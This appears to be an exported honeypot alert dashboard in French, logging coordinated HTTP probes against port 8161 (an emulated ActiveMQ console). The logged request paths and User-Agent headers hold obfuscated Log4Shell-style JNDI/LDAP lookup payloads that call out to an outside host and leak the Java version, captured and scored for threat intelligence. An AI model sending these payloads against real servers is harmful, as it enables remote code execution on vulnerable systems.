"classification_reason_label_fr": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 59,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 59,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}\u2026",
"request_line": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:-:}${gqz:i:-\/}${ec:x4d:-\/}${02a:-P}${zjk:-A}${y8:-l}${xre5:k5nd:vw:-0}$\u2026",
"http_user_agent": "${${30:n0j:9vs4:-j}${cshp:9j0:-n}${cfl:td:lvq:-d}${zaw:-i}${52:-:}${l:a4:q:-l}${bm1:9a8u:f:-d}${q9o6:-a}${p2xw:-p}${ipg\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:\u2026",
"evidence_snippet": "PUT \/${${6pd1:-j}${kg:w8:-n}${x:-d}${byf:b8:-i}${9:m04q:bvc4:-:}${ipw1:xo:-l}${viur:c7fm:-d}${x4fr:fov:-a}${yk2:h0sr:c5:-p}${7n:",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"activemq-console",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dangerous_method",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:44 UTC
TCP
8161 · HTTP
Sonde port 8161/TCP
port 8161 tcp · via HTTP:8161 · (sonde / probe) · → /${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:…
Élevée
Moyen · 58
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij… UA ${${s4l5:g7sz:-j}${6s:-n}${8:x:l42:-d}${e:g:8:-i}${bgy:-:}${v:q…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-/}${v52:s:-/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}${wdly:-:}${ivu:8l:-j}${yo:1mei:-a}${r:-v}${t4n:dt:x:-a}${3a6:-.}${10lg:vl:t0:-v}${hej5:yo:2xl:-e}${lk8g:7yp:8iv:-r}${7134:0i:0zi3:-s}${7lyp:-i}${xk5:zoen:enh:-o}${x:-n}}${o:-.}${cn3:l:fv1:-5}${l7:x0lz:-4}${lhs:-3}${i75:-4}${qb:7:d6m:-7}${x:-6}${975:pi2:ewxa:-6
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8161
Chemin / cible
/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-/}${v52:s:-/}${5a8:-P}${et:q…
Preuve honeypot — Sonde port 8161/TCP
Connexion détectée sur le port 8161 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8161_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 58
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-/}${v52:s:-/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}${wdly:-:}${ivu:8l:-j}${yo:1mei:-a}${r:-v}${t4n:dt:x:-a}${3a6:-.}${10lg:vl:t0:-v}${hej5:yo:2xl:-e}${lk8g:7yp:8iv:-r}${7134:0i:0zi3:-s}${7lyp:-i}${xk5:zoen:enh:-o}${x:-n}}${o:-.}${cn3:l:fv1:-5}${l7:x0lz:-4}${lhs:-3}${i75:-4}${qb:7:d6m:-7}${x:-6}${975:pi2:ewx
User-Agent
${${s4l5:g7sz:-j}${6s:-n}${8:x:l42:-d}${e:g:8:-i}${bgy:-:}${v:qjc:i7:-l}${wtb:-d}${mz:ar:-a}${fuw7:-p}${h29:-:}${d:-/}${wbp8:5jm:-/}${p:4:krv6:-U}${o9:v:ztw1:-A}${ycr:7:-l}${o3g:rqap:-0}${pdvo:65u3:9…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywi
Requête brute (extrait)
GET /${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-/}${v52:s:-/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}$
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${vc4j:zkeg:rs:-g}${lo:8b:-o}${47w:3e:-o}${6y8b:ejfn:-g}}",
"http_ua_hash": "bd3d72ef9f52b9074899512633661f7714673661",
"http_host_hash": "b6d38c1c7d1718a2aea83cf28650587b89450269",
"http_target_hash": "c7584a4f22ccbea91e37413e5a961002e270f18c",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.772726525697854,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 58,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "d8903cbef90c1f76c37994457992190a965716b3",
"event_fingerprint": "a30d96ba2eecbf9592bc4ceb8b2a7573ad5fa7cf",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "ce933184aca89140b9e8445c8233af6d",
"payload_hash": "1fac179eca16ff9822b93ebf9bc39544",
"path_pattern_hash": "4561280b582b78997e4e15ae9ce884e5"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 58
},
"method": "GET",
"path": "\/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}${wdly:-:}${ivu:8l:-j}${yo:1mei:-a}${r:-v}${t4n:dt:x:-a}${3a6:-.}${10lg:vl:t0:-v}${hej5:yo:2xl:-e}${lk8g:7yp:8iv:-r}${7134:0i:0zi3:-s}${7lyp:-i}${xk5:zoen:enh:-o}${x:-n}}${o:-.}${cn3:l:fv1:-5}${l7:x0lz:-4}${lhs:-3}${i75:-4}${qb:7:d6m:-7}${x:-6}${975:pi2:ewxa:-6",
"user_agent": "${${s4l5:g7sz:-j}${6s:-n}${8:x:l42:-d}${e:g:8:-i}${bgy:-:}${v:qjc:i7:-l}${wtb:-d}${mz:ar:-a}${fuw7:-p}${h29:-:}${d:-\/}${wbp8:5jm:-\/}${p:4:krv6:-U}${o9:v:ztw1:-A}${ycr:7:-l}${o3g:rqap:-0}${pdvo:65u3:9t:-c}${45gs:a:--}${${e0:gn2j:xc:-s}${ef:a:-y}${od:mu:zx3\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}${wdly:-:}${ivu:8l:-j}${yo:1mei:-a}${r:-v}${t4n:dt:x:-a}${3a6:-.}${10lg:vl:t0:-v}${hej5:yo:2xl:-e}${lk8g:7yp:8iv:-r}${7134:0i:0zi3:-s}${7lyp:-i}${xk5:zoen:enh:-o}${x:-n}}${o:-.}${cn3:l:fv1:-5}${l7:x0lz:-4}${lhs:-3}${i75:-4}${qb:7:d6m:-7}${x:-6}${975:pi2:ewx",
"payload_snippet": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywi",
"evidence": {
"method": "GET",
"path": "\/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}${wdly:-:}${ivu:8l:-j}${yo:1mei:-a}${r:-v}${t4n:dt:x:-a}${3a6:-.}${10lg:vl:t0:-v}${hej5:yo:2xl:-e}${lk8g:7yp:8iv:-r}${7134:0i:0zi3:-s}${7lyp:-i}${xk5:zoen:enh:-o}${x:-n}}${o:-.}${cn3:l:fv1:-5}${l7:x0lz:-4}${lhs:-3}${i75:-4}${qb:7:d6m:-7}${x:-6}${975:pi2:ewxa:-6",
"user_agent": "${${s4l5:g7sz:-j}${6s:-n}${8:x:l42:-d}${e:g:8:-i}${bgy:-:}${v:qjc:i7:-l}${wtb:-d}${mz:ar:-a}${fuw7:-p}${h29:-:}${d:-\/}${wbp8:5jm:-\/}${p:4:krv6:-U}${o9:v:ztw1:-A}${ycr:7:-l}${o3g:rqap:-0}${pdvo:65u3:9t:-c}${45gs:a:--}${${e0:gn2j:xc:-s}${ef:a:-y}${od:mu:zx3\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}${wdly:-:}${ivu:8l:-j}${yo:1mei:-a}${r:-v}${t4n:dt:x:-a}${3a6:-.}${10lg:vl:t0:-v}${hej5:yo:2xl:-e}${lk8g:7yp:8iv:-r}${7134:0i:0zi3:-s}${7lyp:-i}${xk5:zoen:enh:-o}${x:-n}}${o:-.}${cn3:l:fv1:-5}${l7:x0lz:-4}${lhs:-3}${i75:-4}${qb:7:d6m:-7}${x:-6}${975:pi2:ewx",
"request_sample": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5:-c}${2byv:bjo:--}${${c9sd:g:wr08:-s}${j2c:-y}${a9lj:-s}$",
"payload_snippet": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywi",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "6abd44ab5a4d9ad4802041ee5394266e7ae26d29",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:q\u2026",
"request_line": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5\u2026",
"http_user_agent": "${${s4l5:g7sz:-j}${6s:-n}${8:x:l42:-d}${e:g:8:-i}${bgy:-:}${v:qjc:i7:-l}${wtb:-d}${mz:ar:-a}${fuw7:-p}${h29:-:}${d:-\/}$\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywi",
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:\u2026",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 58,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 58,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:q\u2026",
"request_line": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywij:n89:-\/}${v52:s:-\/}${5a8:-P}${et:quv:-A}${j1lz:-l}${h54k:-0}${pmka:3:5\u2026",
"http_user_agent": "${${s4l5:g7sz:-j}${6s:-n}${8:x:l42:-d}${e:g:8:-i}${bgy:-:}${v:qjc:i7:-l}${wtb:-d}${mz:ar:-a}${fuw7:-p}${h29:-:}${d:-\/}$\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:\u2026",
"evidence_snippet": "GET \/${${2:-j}${mx:tmr:t:-n}${ly6g:k6:l3po:-d}${1t:z:-i}${jzr:pd:qc:-:}${mp:-l}${l:-d}${my9:-a}${0wv:ij:-p}${y8:61f:u3y:-:}${ywi",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:44 UTC
TCP
8161 · HTTP
Sonde port 8161/TCP
port 8161 tcp · via HTTP:8161 · (sonde / probe) · → /${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxy…
Élevée
Moyen · 58
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:… UA ${${e:30:-j}${bsi:-n}${n:w:x249:-d}${u:-i}${oy:bw:lr:-:}${4:mdz…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-/}${b:-/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}${gko:qdht:-s}${zpqe:-:}${u1:c:-j}${9:-a}${2hn:-v}${os1:rt:1w6:-a}${fh2j:-.}${2zs:-v}${og:-e}${j:5j:7g:-r}${4un:x:-s}${cxd4:grx:qcn:-i}${iu:d4on:sg1:-o}${e:8ql:-n}}${r:-.}${8d:-5}${ag6:-4}${aib4:gpn:up:-3}${wgyn:-4}${bw:8j:fp87:-7}${m6:-6}${o:vgjr:-6}${h2y:-9}$
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8161
Chemin / cible
/${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-/}${b:-/}${xrc:6p…
Preuve honeypot — Sonde port 8161/TCP
Connexion détectée sur le port 8161 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8161_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 58
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-:}${qwx:p59:p21s:-/}${b:-/}${xrc:6pd:5py:-P}${1w:q:2:-A}${914p:lz7:av:-l}${w:28v:-0}${jw6m:-c}${3g8f:7:--}${${9dm:-s}${h6w8:-y}${gko:qdht:-s}${zpqe:-:}${u1:c:-j}${9:-a}${2hn:-v}${os1:rt:1w6:-a}${fh2j:-.}${2zs:-v}${og:-e}${j:5j:7g:-r}${4un:x:-s}${cxd4:grx:qcn:-i}${iu:d4on:sg1:-o}${e:8ql:-n}}${r:-.}${8d:-5}${ag6:-4}${aib4:gpn:up:-3}${wgyn:-4}${bw:8j:fp87:-7}${m6:-6}${o:vgjr:-6}${h2y:
User-Agent
${${e:30:-j}${bsi:-n}${n:w:x249:-d}${u:-i}${oy:bw:lr:-:}${4:mdz:-l}${lz:134f:z:-d}${x0b:-a}${6:-p}${g4:164:uwsg:-:}${4bz9:ba:90cr:-/}${de:m:ag:-/}${r6o7:w5dz:-U}${nyc:7z:-A}${t81:at:-l}${uqn:g:ws8d:-…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${ey5i:lwz:-j}${2j:-n}${rn:p4cr:xo2:-d}${dxyk:-i}${udje:9do:-:}${f3g4:-l}${w5h:f5mz:yo6:-d}${im:-a}${dt:c7ga:2xb:-p}${w:-
Requête brute (extrait)
